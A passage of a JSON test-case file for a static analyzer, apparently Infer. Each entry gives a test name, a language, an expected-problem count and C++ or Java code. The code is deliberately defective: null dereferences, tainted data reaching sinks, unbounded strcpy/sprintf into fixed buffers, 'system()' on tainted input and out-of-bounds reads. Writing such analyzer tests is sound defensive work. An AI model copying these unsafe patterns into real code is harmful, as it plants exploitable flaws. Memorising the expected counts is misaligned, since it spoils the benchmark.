nullptr;\n return *s->f1;\n}\n} // namespace weak_ptr_derefs\n\nnamespace weak_ptr_modifiers {\n\nvoid reset(std::weak_ptr& p) { p.reset(); }\n\nvoid swap(std::weak_ptr& p) {\n std::weak_ptr q;\n q.swap(p);\n}\n} // namespace weak_ptr_modifiers\n\nnamespace weak_ptr_observers {\nusing namespace weak_ptr_constructors;\n\nlong use_count(std::weak_ptr& p) { return p.use_count(); }\n\nvoid use_count_empty_bad() {\n std::weak_ptr p;\n if (p.use_count() == 0) {\n int* x = nullptr;\n *x = 42;\n }\n}\n\nvoid use_count_after_reset_bad(std::weak_ptr& p) {\n p.reset();\n if (p.use_count() == 0) {\n int* x = nullptr;\n *x = 42;\n }\n}\n\nbool expired(std::weak_ptr& p) { return p.expired(); }\n\nvoid expired_empty_bad() {\n std::weak_ptr p;\n if (p.expired()) {\n int* x = nullptr;\n *x = 42;\n }\n}\n\nvoid expired_after_reset_bad(std::weak_ptr& p) {\n p.reset();\n if (p.expired()) {\n int* x = nullptr;\n *x = 42;\n }\n}\n\nvoid expired_after_swap_bad(std::weak_ptr& p) {\n std::weak_ptr q;\n q.swap(p);\n if (p.expired()) {\n int* x = nullptr;\n *x = 42;\n }\n}\n\nstd::shared_ptr lock(std::weak_ptr& p) { return p.lock(); }\n\nvoid FN_empty_weak_lock_returns_null_bad() {\n std::weak_ptr p;\n auto s = p.lock();\n int _ = *s.get();\n}\n\nvoid FN_expired_means_null_bad(std::weak_ptr& p) {\n if (p.expired()) {\n auto s = p.lock();\n int _ = *s.get();\n }\n}\n\nvoid FN_lock_can_be_null_bad(std::weak_ptr& p) {\n auto s = p.lock();\n int _ = *s.get();\n}\n\nint safe_deref_ok(std::weak_ptr& p) {\n if (auto s = p.lock()) {\n return *s.get();\n }\n return 0;\n}\n\nstd::shared_ptr shared_still_in_scope_good_FP() {\n /* It's not a big issue to FP in this case.\n Code should not be written like that anyway. */\n auto s = std::make_shared();\n auto p = std::weak_ptr(s);\n auto s2 = p.lock();\n auto _ = *s2.get();\n return s;\n}\n\nbool owner_before(std::weak_ptr& p, std::weak_ptr& q) {\n return p.owner_before(q);\n}\n\nbool owner_before(std::weak_ptr& p, std::shared_ptr& q) {\n return p.owner_before(q);\n}\n} // namespace weak_ptr_observers\n" + }, + { + "testname": "weak_ptr_compil.cpp", + "testlanguage": "c++", + "expected-problems": 18, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n#include \n#include \n\n/* Compilation tests */\n\nnamespace weak_ptr_lock_repro_small {\ntemplate \nstd::shared_ptr joinT(std::shared_ptr x) {\n return x;\n};\n\nvoid foo(std::weak_ptr p) {\n auto self = p.lock();\n std::shared_ptr x = joinT(self);\n}\n} // namespace weak_ptr_lock_repro_small\n\nnamespace weak_ptr_lock_repro_large {\n\nclass S {\n public:\n template \n std::shared_ptr joinT(std::shared_ptr s);\n};\n\nclass DCC {\n public:\n const std::shared_ptr& s();\n};\n\nclass DC {};\n\nclass CDM {\n public:\n std::shared_ptr gdc(std::function);\n};\n\nclass RDC : DC {\n public:\n static std::shared_ptr create(std::function cf);\n\n private:\n const std::shared_ptr cdm;\n mutable std::function()> dcf;\n};\n\nstd::shared_ptr RDC::create(std::function cf) {\n auto dc = std::make_shared();\n dc->dcf = [cf = std::move(cf),\n weakSelf =\n std::weak_ptr(dc)]() mutable -> std::shared_ptr {\n if (auto self = weakSelf.lock()) {\n return self->cdm->gdc([&]() mutable {\n auto c = cf();\n c.s()->joinT(self);\n return c;\n });\n }\n return nullptr;\n };\n return dc;\n}\n} // namespace weak_ptr_lock_repro_large\n\nnamespace weak_ptr_owner_less {\nclass K {};\nclass V {};\nclass C {\n using S = std::set, std::owner_less>>;\n std::\n map, std::weak_ptr, std::owner_less>>\n m;\n S s;\n#ifdef INFER_USE_LIBCPP\n /* requires Clang headers */\n std::unordered_map u;\n#endif\n};\n} // namespace weak_ptr_owner_less\n" + }, + { + "testname": "basics.cpp", + "testlanguage": "c++", + "expected-problems": 89, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n#include \n#include \n\nextern void* __infer_taint_source();\nextern void __infer_taint_sink(void*);\nextern void __infer_taint_sink(int);\n\nnamespace basics {\n\nclass Obj {\n public:\n void* method_source() { return (void*)malloc(sizeof(int)); }\n void method_sink(void*) {}\n static void* static_source() { return (void*)malloc(sizeof(int)); }\n static void static_sink(void*) {}\n std::string string_source(int i) { return \"\"; }\n static int taint_arg_source(int* arg) { return 1; }\n void string_sink(std::string) {}\n static std::string* sanitizer1(std::string* input) { return input; }\n static std::string sanitizer2(const std::string& input) {\n return input.substr();\n }\n static std::string propagator(std::string& input, std::string& output);\n\n std::string field1;\n std::string field2;\n\n void endpoint(std::string source1, void* source2) {\n this->string_sink(source1);\n __infer_taint_sink(source2);\n }\n};\n\nvoid* returnSource() { return __infer_taint_source(); }\n\nvoid callSink(void* param) { __infer_taint_sink(param); }\n\nvoid* id(void* param) { return param; }\n\nvoid sourceToSinkDirectBad() {\n void* source = __infer_taint_source();\n __infer_taint_sink(source);\n}\n\nvoid returnSourceToSinkBad() {\n void* source = returnSource();\n __infer_taint_sink(source);\n}\n\nvoid sourceThenCallSinkBad() {\n void* source = __infer_taint_source();\n callSink(source);\n}\n\nvoid propagateBad() {\n void* source = __infer_taint_source();\n void* launderedSource = id(source);\n callSink(launderedSource);\n}\n\n// make sure specifying external sources/sinks as instance methods works\nvoid object_source_sink_bad(Obj obj) {\n void* source = obj.method_source();\n obj.method_sink(source);\n free(source);\n}\n\n// make sure specifying external sources/sinks as static methods works\nvoid static_source_sink_bad(Obj obj) {\n void* source = Obj::static_source();\n Obj::static_sink(source);\n free(source);\n}\n\nvoid compound_stmt_bad() {\n void* taint = ({\n assert(true);\n __infer_taint_source();\n });\n __infer_taint_sink(taint);\n}\n\nvoid compound_stmt_taint_arg_bad(Obj* obj) {\n Obj* taint = ({\n assert(true);\n obj;\n });\n __infer_taint_sink(taint);\n}\n\ntemplate \nT* template_source() {\n return new T();\n}\n\ntemplate \nvoid template_sink(T) {}\n\nvoid template_source_bad() {\n void* source = template_source();\n __infer_taint_sink(source);\n}\n\nvoid string_source_bad(Obj obj) {\n std::string source = obj.string_source(5);\n obj.string_sink(source);\n}\n\nvoid getenv_source_bad(Obj obj) {\n std::string source = std::getenv(\"var\");\n obj.string_sink(source);\n}\n\nvoid via_field_bad1() {\n Obj* obj = new Obj();\n obj->field1 = *template_source();\n template_sink(obj->field1);\n delete obj;\n}\n\nvoid via_field_bad2(Obj* obj) {\n obj->field1 = *template_source();\n template_sink(obj->field1);\n}\n\nvoid via_field_ok1() {\n Obj* obj = new Obj();\n obj->field1 = *template_source();\n obj->field1 = nullptr;\n template_sink(obj->field1);\n delete obj;\n}\n\nvoid via_field_ok2() {\n Obj* obj = new Obj();\n obj->field1 = *template_source();\n template_sink(obj->field2);\n delete obj;\n}\n\ntemplate \nT* id1(T* t) {\n return t;\n}\n\ntemplate \nT id2(T t) {\n return t;\n}\n\nvoid via_passthrough_bad1(Obj* obj) {\n std::string source = obj->string_source(0);\n std::string* source_ptr = &source;\n std::string* laundered_source = id1(source_ptr);\n obj->string_sink(*laundered_source);\n}\n\nvoid via_passthrough_bad2(Obj* obj) {\n std::string source = obj->string_source(0);\n std::string laundered_source = id2(source);\n obj->string_sink(laundered_source);\n}\n\nvoid taint_arg_source_bad() {\n int source = 1;\n Obj::taint_arg_source(&source);\n __infer_taint_sink(source);\n}\n\nvoid taint_arg_source_ok() {\n int source;\n int ret = Obj::taint_arg_source(&source);\n __infer_taint_sink(ret); // return value is not a source\n}\n\nvoid via_sanitizer_ok1(Obj* obj) {\n std::string source = obj->string_source(0);\n std::string* sanitized = Obj::sanitizer1(&source);\n obj->string_sink(*sanitized);\n}\n\nvoid via_sanitizer_ok2(Obj* obj) {\n std::string source = obj->string_source(0);\n std::string sanitized = obj->sanitizer2(source);\n obj->string_sink(sanitized);\n}\n\nvoid implicit_sanitized_ok(Obj* obj) {\n std::string source = obj->string_source(0);\n std::string* sanitized = Obj::sanitizer1(&source);\n obj->string_sink(source);\n}\n\nvoid unsanitized_bad(Obj* obj) {\n std::string source = obj->string_source(0);\n std::string sanitized = Obj::sanitizer2(source);\n obj->string_sink(source);\n}\n\nvoid funCall_bad2(int x, void* t) { __infer_taint_sink(t); }\n\nvoid funCall_bad1() { funCall_bad2(0, __infer_taint_source()); }\n\nvoid atomic_eq(std::atomic> x,\n std::chrono::duration y) {\n // this gets translated as operator=(x, y, &tmp_return), which used to cause a\n // crash\n x = y;\n}\nstruct node {\n struct node* prev;\n struct node* next;\n};\n\nvoid loop_ok(struct node* init) {\n struct node* tmp = new node{.prev = nullptr, .next = nullptr};\n\n while (1) {\n tmp->next = init;\n init = tmp;\n tmp->prev = init;\n }\n}\n\nvoid ret_void_ok() { return; }\n\nvoid ret_void_transitive_ok() { return ret_void_ok(); }\n\nvoid via_propagator_bad(Obj* obj) {\n std::string source = obj->string_source(0);\n std::string propagated(\"\");\n std::string unpropagated = Obj::propagator(source, propagated);\n obj->string_sink(propagated);\n}\n\nvoid via_propagator_ok1(Obj* obj) {\n std::string source = obj->string_source(0);\n std::string propagated(\"\");\n std::string unpropagated = Obj::propagator(source, propagated);\n obj->string_sink(unpropagated);\n}\n\nvoid FP_via_propagator_ok2(Obj* obj) {\n std::string propagated = obj->string_source(0);\n std::string source(\"\");\n std::string unpropagated = Obj::propagator(source, propagated);\n obj->string_sink(source);\n}\n\n} // namespace basics\n" + }, + { + "testname": "pointers.cpp", + "testlanguage": "c++", + "expected-problems": 22, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nextern std::string* __infer_taint_source();\nextern void __infer_taint_sink(std::string);\n\nnamespace pointers {\n\nvoid assign_pointer_to_source(std::string* pointer) {\n *pointer = *__infer_taint_source();\n}\n\nvoid assign_pointer_pass_to_sink_bad1(std::string* pointer) {\n assign_pointer_to_source(pointer);\n __infer_taint_sink(*pointer);\n}\n\nvoid assign_pointer_pass_to_sink_bad2() {\n std::string* pointer = new std::string();\n assign_pointer_to_source(pointer);\n __infer_taint_sink(*pointer);\n}\n\nvoid assign_source_by_reference(std::string& reference) {\n reference = *__infer_taint_source();\n}\n\nvoid assign_source_by_reference_bad1() {\n std::string local;\n assign_source_by_reference(local);\n __infer_taint_sink(local);\n}\n\nvoid assign_source_by_reference_bad2(std::string formal) {\n assign_source_by_reference(formal);\n __infer_taint_sink(formal);\n}\n\nvoid call_assign_source_by_reference(std::string& formal) {\n assign_source_by_reference(formal);\n}\n\nvoid assign_source_by_reference_bad3() {\n std::string local;\n call_assign_source_by_reference(local);\n __infer_taint_sink(local);\n}\n\nvoid reuse_pointer_as_local(std::string* pointer) {\n pointer = __infer_taint_source();\n std::cout << *pointer;\n}\n\nvoid reuse_pointer_as_local_ok(std::string* pointer) {\n reuse_pointer_as_local(pointer);\n __infer_taint_sink(*pointer);\n}\n\nvoid __infer_taint_sink1(std::string) {}\n\nvoid funptr_bad0() {\n auto f = __infer_taint_sink;\n f(*(__infer_taint_source()));\n}\n\nvoid funptr_helper_bad1(void (*sink)(std::string)) {\n sink(*(__infer_taint_source()));\n}\n\nvoid funptr1() {\n auto f = __infer_taint_sink;\n funptr_helper_bad1(f);\n}\n\nvoid funptr_helper_bad2(std::string* (*source)()) {\n __infer_taint_sink(*(source()));\n}\n\nvoid funptr2() { funptr_helper_bad2(__infer_taint_source); }\n\nvoid pointer_arithmetic_ok1(int* i) { *(i + 1) = 7; }\n\nvoid pointer_arithmetic_ok2(int* i) { *(2 + 7 + 5 + i + 1) = 7; }\n} // namespace pointers\n" + }, + { + "testname": "strings.cpp", + "testlanguage": "c++", + "expected-problems": 45, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nextern std::string __infer_taint_source();\nextern void __infer_taint_sink(std::string);\n\n// tests related to string manipulation, format strings, etc.\nnamespace strings {\n\nvoid sprintf1_bad() {\n char laundered_source[50];\n auto source = __infer_taint_source();\n sprintf(laundered_source, \"%s\", source.c_str());\n __infer_taint_sink(laundered_source);\n}\n\nvoid sprintf2_bad() {\n char laundered_source[50];\n auto source = __infer_taint_source();\n sprintf(laundered_source, \"%s%s%d\", \"a\", source.c_str(), 1);\n __infer_taint_sink(laundered_source);\n}\n\nvoid strcpy1_bad() {\n char laundered_source[50];\n auto source = __infer_taint_source();\n auto copy = strcpy(laundered_source, source.c_str());\n __infer_taint_sink(copy);\n}\n\nvoid strcpy2_bad() {\n char laundered_source[50];\n auto source = __infer_taint_source();\n strcpy(laundered_source, source.c_str());\n __infer_taint_sink(laundered_source);\n}\n\nvoid strncpy_bad() {\n char laundered_source[50];\n auto source = __infer_taint_source();\n strncpy(laundered_source, source.c_str(), 50);\n __infer_taint_sink(laundered_source);\n}\n\nvoid memcpy_bad() {\n char laundered_source[50];\n auto source = __infer_taint_source();\n memcpy(laundered_source, source.c_str(), 50);\n __infer_taint_sink(laundered_source);\n}\n\nvoid memmove_bad() {\n char laundered_source[50];\n auto source = __infer_taint_source();\n auto copy = (char*)memmove(laundered_source, source.c_str(), 50);\n __infer_taint_sink(copy);\n}\n\nvoid memchr_ok() {\n auto source = __infer_taint_source();\n auto laundered_source = (char*)memchr(source.c_str(), 'a', 10);\n __infer_taint_sink(laundered_source);\n}\n\nvoid constructor1_bad() {\n auto source = __infer_taint_source();\n auto laundered_source = std::string(source);\n __infer_taint_sink(laundered_source);\n}\n\nvoid constructor2_bad() {\n auto source = __infer_taint_source();\n auto laundered_source = std::string(source, 0, 5);\n __infer_taint_sink(laundered_source);\n}\n\nvoid constructor3_bad() {\n auto source = __infer_taint_source();\n auto laundered_source = std::string(source.begin(), source.begin() + 5);\n __infer_taint_sink(laundered_source);\n}\n\nvoid concat1_bad() {\n auto source = __infer_taint_source();\n source += \"other string\";\n __infer_taint_sink(source);\n}\n\nvoid concat2_bad() {\n auto source = __infer_taint_source();\n auto laundered_source = std::string(\"string\");\n laundered_source += source;\n __infer_taint_sink(laundered_source);\n}\n\nvoid concat3_bad() {\n auto source = __infer_taint_source();\n __infer_taint_sink(source += \"string\");\n}\n\nvoid append1_bad() {\n auto source = __infer_taint_source();\n __infer_taint_sink(std::string(\"string\").append(source));\n}\n\nvoid append2_bad() {\n auto source = __infer_taint_source();\n source.append(\"string\");\n __infer_taint_sink(source);\n}\n\nvoid assign1_bad() {\n auto source = __infer_taint_source();\n __infer_taint_sink(std::string(\"string\").assign(source));\n}\n\nvoid assign2_bad() {\n auto source = __infer_taint_source();\n source.assign(\"string\");\n __infer_taint_sink(source);\n}\n\nvoid insert1_bad() {\n auto source = __infer_taint_source();\n __infer_taint_sink(std::string(\"string\").assign(source));\n}\n\nvoid insert2_bad() {\n auto source = __infer_taint_source();\n source.insert(0, \"string\");\n __infer_taint_sink(source);\n}\n\nvoid replace1_bad() {\n auto source = __infer_taint_source();\n __infer_taint_sink(std::string(\"string\").replace(0, 5, source));\n}\n\nvoid replace2_bad() {\n auto source = __infer_taint_source();\n source.replace(0, 5, \"string\");\n __infer_taint_sink(source);\n}\n\nvoid swap_bad() {\n auto source = __infer_taint_source();\n auto laundered_source = std::string(\"string\");\n laundered_source.swap(source);\n __infer_taint_sink(laundered_source);\n}\n\ntemplate \nclass Formatter {\n\n public:\n explicit Formatter(std::string str, Args&&... args);\n std::string str();\n};\n\ntemplate \nFormatter format1(std::string fmt, Args&&... args) {\n return Formatter(fmt, std::forward(args)...);\n}\n\ntemplate \nFormatter* format2(std::string fmt, Args&&... args) {\n return new Formatter(fmt, std::forward(args)...);\n}\n\ntemplate \nFormatter format3(std::string fmt, Args&&... args);\n\ntemplate \nFormatter* format4(std::string fmt, Args&&... args);\n\nvoid FN_format1_bad() {\n auto source = __infer_taint_source();\n auto laundered_source = format1(\"%s\", source).str();\n __infer_taint_sink(laundered_source);\n}\n\nvoid FN_format2_bad() {\n auto source = __infer_taint_source();\n auto laundered_source = format2(\"%s\", source)->str();\n __infer_taint_sink(laundered_source);\n}\n\nvoid format3_bad() {\n auto source = __infer_taint_source();\n auto laundered_source = format3(\"%s\", source).str();\n __infer_taint_sink(laundered_source);\n}\n\nvoid format4_bad() {\n auto source = __infer_taint_source();\n auto laundered_source = format4(\"%s\", source)->str();\n __infer_taint_sink(laundered_source);\n}\n\nvoid format_varargs_bad() {\n auto source = __infer_taint_source();\n auto laundered_source = format3(\"%s%s\", \"a\", source, \"b\").str();\n __infer_taint_sink(laundered_source);\n}\n} // namespace strings\n" + }, + { + "testname": "structs.cpp", + "testlanguage": "c++", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nstruct mystruct {\n char* str;\n int i;\n};\n\nextern mystruct* __infer_taint_source();\nextern void __infer_taint_sink(mystruct);\n\nnamespace structs {\n\nvoid struct_source_bad() {\n mystruct* source = __infer_taint_source();\n __infer_taint_sink(*source);\n}\n\nvoid struct_field_source_unique_pointer_bad() {\n std::unique_ptr source(__infer_taint_source());\n __infer_taint_sink(*source);\n}\n\nvoid struct_field_source_bad() {\n mystruct* tainted = __infer_taint_source();\n mystruct source;\n source.str = tainted->str;\n source.i = 0;\n __infer_taint_sink(source);\n}\n\nvoid read_from_struct_source_field_bad_FN() {\n mystruct* source = __infer_taint_source();\n system(source->str);\n}\n\n} // namespace structs\n" + }, + { + "testname": "taint_field.cpp", + "testlanguage": "c++", + "expected-problems": 27, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\ntypedef struct {\n int manipulated;\n int other;\n} structure;\n\nint int_source(void);\nvoid taint_structure(structure);\nvoid taint_manipulated(structure);\nvoid taint_manipulated_with_indirections(structure**);\n\nvoid sink_int(int);\nvoid sink_manipulated(structure);\n\nvoid sanitize_manipulated(structure);\n\nvoid propagate_to_manipulated(structure, int);\n\nvoid test_taint_field_bad(structure s) {\n taint_manipulated(s);\n sink_int(s.manipulated);\n}\n\nvoid test_taint_field_good(structure s) {\n taint_manipulated(s);\n sink_int(s.other);\n}\n\nvoid test_sink_field_bad(structure s) {\n int tainted = int_source();\n s.manipulated = tainted;\n sink_manipulated(s);\n}\n\nvoid test_sink_field_good(structure s) {\n int tainted = int_source();\n s.other = tainted;\n sink_manipulated(s);\n}\n\nvoid test_sanitize_field_bad(structure s) {\n // The 2 lines below are necessary because tainting propagates down\n // what is known in the memory at the moment of tainting and it is never\n // propagated again when a new manipulated appears. `s.other` and\n // `s.manipulated` need to have different values otherwise they are both\n // referencing the same value and sanitizing one would sanitize the other\n s.other = 2; // makes s.other exist in memory before tainting s\n s.manipulated = 1; // makes s.manipulated exist in memory before tainting s\n taint_structure(s);\n sanitize_manipulated(s);\n sink_int(s.other);\n}\n\nvoid test_sanitize_field_good(structure s) {\n s.other = 0; // makes s.other exist in memory before tainting s\n s.manipulated = 1; // makes s.manipulated exist in memory before tainting s\n taint_structure(s);\n sanitize_manipulated(s);\n sink_manipulated(s);\n}\nvoid test_propagate_to_field_bad(structure s) {\n int tainted = int_source();\n propagate_to_manipulated(s, tainted);\n sink_int(s.manipulated);\n}\n\nvoid test_propagate_to_field_good(structure s) {\n int tainted = int_source();\n propagate_to_manipulated(s, tainted);\n sink_int(s.other);\n}\n\nvoid test_taint_field_with_indirections_bad(structure s) {\n structure* s_ptr = &s;\n structure** s_ptr_ptr = &s_ptr;\n taint_manipulated_with_indirections(s_ptr_ptr);\n sink_int((**s_ptr_ptr).manipulated);\n}\n\nvoid test_taint_field_with_indirections_good(structure s) {\n structure* s_ptr = &s;\n structure** s_ptr_ptr = &s_ptr;\n taint_manipulated_with_indirections(s_ptr_ptr);\n sink_int((**s_ptr_ptr).other);\n}\n" + }, + { + "testname": "unknown_code.cpp", + "testlanguage": "c++", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n\nextern std::string __infer_taint_source();\nextern void __infer_taint_sink(std::string);\nextern std::string skip_value(std::string);\nextern std::string* skip_pointer(std::string);\nextern void skip_by_ref(std::string, std::string&);\n\nextern int of_string(std::string);\n\nnamespace unknown_code {\n\nvoid direct_bad() {\n auto source = __infer_taint_source();\n __infer_taint_sink(source);\n}\n\nvoid skip_value_bad() {\n auto source = __infer_taint_source();\n auto laundered_source = skip_value(source);\n __infer_taint_sink(laundered_source);\n}\n\nvoid skip_pointer_bad() {\n auto source = __infer_taint_source();\n auto laundered_source = skip_pointer(source);\n __infer_taint_sink(*laundered_source);\n}\n\nstd::string skip_indirect(std::string formal) {\n auto skipped_pointer = skip_pointer(formal);\n return skip_value(*skipped_pointer);\n}\n\nvoid FN_skip_indirect_bad() {\n auto source = __infer_taint_source();\n auto laundered_source = skip_indirect(source);\n __infer_taint_sink(laundered_source);\n}\n\n// for now, we don't have any heuristics for guessing that laundered_by_ref is\n// assigned by ref in\n// the skipped function\nvoid FN_via_skip_by_ref_bad() {\n auto source = __infer_taint_source();\n std::string laundered_by_ref;\n skip_by_ref(source, laundered_by_ref);\n __infer_taint_sink(laundered_by_ref);\n}\n\n} // namespace unknown_code\n" + }, + { + "testname": "AnalysisStops.java", + "testlanguage": "java", + "expected-problems": 106, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport java.util.Iterator;\n\npublic class AnalysisStops {\n\n private native Object externalFunc();\n\n public void skipPointerDerefMayCauseLocalFalseNegativeBad() {\n Object ret = externalFunc();\n ret.toString();\n int i = 1 / 0;\n }\n\n private Object skipPointerDerefPreventsSpecInferenceRetObj() {\n Object ret = externalFunc();\n ret.toString();\n return new Object();\n }\n\n public void skipPointerDerefMayCauseCalleeFalsePositiveOk() {\n Object o = skipPointerDerefPreventsSpecInferenceRetObj();\n o.toString();\n }\n\n private int skipPointerDerefPreventsSpecInferenceRetZero() {\n Object ret = externalFunc();\n ret.toString();\n return 0;\n }\n\n public void skipPointerDerefMayCauseCalleeFalseNegativeBad() {\n int ret = skipPointerDerefPreventsSpecInferenceRetZero();\n int i = 1 / ret;\n }\n\n private void divideByParam(int i) {\n int j = 1 / i;\n }\n\n public void skipPointerDerefMayCauseInterprocFalseNegativeBad() {\n int i = skipPointerDerefPreventsSpecInferenceRetZero();\n divideByParam(i);\n }\n\n private String castExternalPreventsSpecInference() {\n return (String) externalFunc();\n }\n\n public void castFailureOnUndefinedObjMayCauseFalseNegativeBad() {\n castExternalPreventsSpecInference();\n int i = 1 / 0;\n }\n\n public void callOnCastUndefinedObjMayCauseFalseNegativeBad() {\n String s = castExternalPreventsSpecInference();\n s.toString();\n int i = 1 / 0;\n }\n\n private static class MyObj {\n Object f;\n MyObj rec;\n int i;\n\n public int retOne() {\n return 1;\n }\n\n public int retZero() {\n return 0;\n }\n }\n\n private native MyObj externalFunc2();\n\n public void callOnUndefinedObjMayCauseFalseNegativeBad() {\n MyObj ret = externalFunc2();\n int i = 1 / ret.retZero();\n }\n\n public void callOnUndefinedObjMayCauseFalsePositiveOk() {\n MyObj ret = externalFunc2();\n int i = 1 / ret.retOne();\n }\n\n public void fieldWriteOnUndefinedObjMayCauseFalseNegativeBad() {\n MyObj ret = externalFunc2();\n ret.f = new Object();\n int i = 1 / 0;\n }\n\n public void fieldWriteOnUndefinedObjMayCauseFalsePositiveOk() {\n MyObj ret = externalFunc2();\n ret.f = new Object();\n ret.f.toString();\n }\n\n public void fieldReadOnUndefinedObjMayCauseFalseNegativeBad() {\n MyObj ret = externalFunc2();\n Object o = ret.f;\n int i = 1 / 0;\n }\n\n public void fieldReadOnUndefinedObjMayCauseFalsePositiveOk() {\n MyObj ret = externalFunc2();\n Object o = ret.f;\n o.toString();\n }\n\n public void recursiveAngelicTypesMayCauseFalseNegativeBad() {\n MyObj ret = externalFunc2();\n MyObj rec1 = ret.rec;\n MyObj rec2 = rec1.rec;\n int i = 1 / 0;\n }\n\n public void recursiveAngelicTypesMayCauseFalsePositiveOk() {\n MyObj ret = externalFunc2();\n MyObj rec1 = ret.rec;\n rec1.rec.toString();\n }\n\n public void infiniteMaterializationMayCauseFalseNegativeBad(boolean b) {\n MyObj rec = externalFunc2();\n while (b) {\n rec = rec.rec;\n }\n int i = 1 / 0;\n }\n\n public void infiniteMaterializationMayCauseFalsePositiveOk(boolean b) {\n MyObj rec = externalFunc2();\n while (b) {\n rec = rec.rec;\n }\n rec.toString();\n }\n\n public void primitiveFieldOfAngelicObjMayCauseFalseNegativeBad() {\n MyObj ret = externalFunc2();\n if (ret.i == 0) {\n int i = 1 / 0;\n } else {\n int i = 1 / 0;\n }\n }\n\n public void primitiveFieldOfAngelicObjMayCauseFalsePositiveOk() {\n MyObj ret = externalFunc2();\n if (ret.i != 0) {\n int i = 1 / ret.i;\n }\n }\n\n public void heapFieldOfAngelicObjMayCauseFalseNegativeBad() {\n MyObj ret = externalFunc2();\n Object obj = ret.f;\n if (obj == ret.f) {\n int i = 1 / 0;\n }\n }\n\n public void heapFieldOfAngelicObjMayCauseFalsePositiveOk() {\n MyObj ret = externalFunc2();\n Object obj = ret.f;\n if (obj != ret.f) {\n int i = 1 / 0;\n }\n }\n\n public void fieldReadAferCastMayCauseFalseNegativeBad(Iterator iter) {\n MyObj ret = iter.next();\n Object obj = ret.f;\n obj.toString();\n int i = ret.i;\n if (i == 7) {\n int j = 1 / 0;\n }\n }\n\n public void derefParamOk(MyObj obj) {\n Object f = obj.f;\n f.toString();\n }\n\n public void fieldReadInCalleeMayCauseFalsePositiveOk() {\n MyObj ret = externalFunc2();\n derefParamOk(ret);\n }\n\n public void fieldReadInCalleeMayCauseFalseNegativeBad() {\n MyObj ret = externalFunc2();\n ret.f = null;\n derefParamOk(ret);\n }\n\n public void fieldReadInCalleeWithAngelicObjFieldMayCauseFalsePositiveOk() {\n MyObj ret = externalFunc2();\n derefParamOk(ret.rec);\n }\n\n public void fieldReadInCalleeWithAngelicObjFieldMayCauseFalseNegativeBad() {\n MyObj ret = externalFunc2();\n ret.rec.f = null;\n derefParamOk(ret.rec);\n }\n\n public void accessPathOnParamOk(MyObj obj) {\n MyObj ret = obj.rec;\n Object f = ret.f;\n f.toString();\n }\n\n public void accessPathInCalleeMayCauseFalsePositiveOk() {\n MyObj ret = externalFunc2();\n accessPathOnParamOk(ret);\n }\n\n public void accessPathInCalleeMayCauseFalseNegativeBad() {\n MyObj ret = externalFunc2();\n ret.rec.f = null;\n accessPathOnParamOk(ret);\n }\n\n public void FN_skipFunctionInLoopMayCauseFalseNegativeBad() {\n Object o = null;\n for (int i = 0; i < 10; i++) {\n externalFunc();\n }\n o.toString();\n }\n\n // will fail to find error unless spec inference succeeds for all callees\n public void specInferenceMayFailAndCauseFalseNegativeBad(boolean b, Iterator iter) {\n skipPointerDerefMayCauseLocalFalseNegativeBad();\n skipPointerDerefPreventsSpecInferenceRetObj();\n skipPointerDerefPreventsSpecInferenceRetZero();\n skipPointerDerefMayCauseCalleeFalseNegativeBad();\n skipPointerDerefMayCauseInterprocFalseNegativeBad();\n castFailureOnUndefinedObjMayCauseFalseNegativeBad();\n callOnCastUndefinedObjMayCauseFalseNegativeBad();\n callOnUndefinedObjMayCauseFalseNegativeBad();\n callOnUndefinedObjMayCauseFalsePositiveOk();\n fieldWriteOnUndefinedObjMayCauseFalseNegativeBad();\n fieldWriteOnUndefinedObjMayCauseFalsePositiveOk();\n fieldReadOnUndefinedObjMayCauseFalseNegativeBad();\n fieldReadOnUndefinedObjMayCauseFalsePositiveOk();\n recursiveAngelicTypesMayCauseFalseNegativeBad();\n recursiveAngelicTypesMayCauseFalsePositiveOk();\n infiniteMaterializationMayCauseFalseNegativeBad(b);\n infiniteMaterializationMayCauseFalsePositiveOk(b);\n primitiveFieldOfAngelicObjMayCauseFalsePositiveOk();\n primitiveFieldOfAngelicObjMayCauseFalseNegativeBad();\n heapFieldOfAngelicObjMayCauseFalsePositiveOk();\n heapFieldOfAngelicObjMayCauseFalseNegativeBad();\n fieldReadAferCastMayCauseFalseNegativeBad(iter);\n fieldReadInCalleeMayCauseFalsePositiveOk();\n fieldReadInCalleeWithAngelicObjFieldMayCauseFalsePositiveOk();\n accessPathInCalleeMayCauseFalsePositiveOk();\n int i = 1 / 0;\n }\n}\n" + }, + { + "testname": "ArrayOutOfBounds.java", + "testlanguage": "java", + "expected-problems": 69, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\npublic class ArrayOutOfBounds {\n\n public int arrayOutOfBoundsBad() {\n int[] arr = new int[1];\n return arr[3];\n }\n\n public int arrayInBoundsOk() {\n int[] arr = new int[2];\n return arr[1];\n }\n\n // tests below this line are turned off until array functionality improves\n public void arrayLoopOutOfBoundsOk(int[] arr) {\n for (int i = 0; i <= arr.length; i++) {\n int j = arr[i];\n }\n }\n\n public void arrayLoopInBoundsOk(int[] arr) {\n 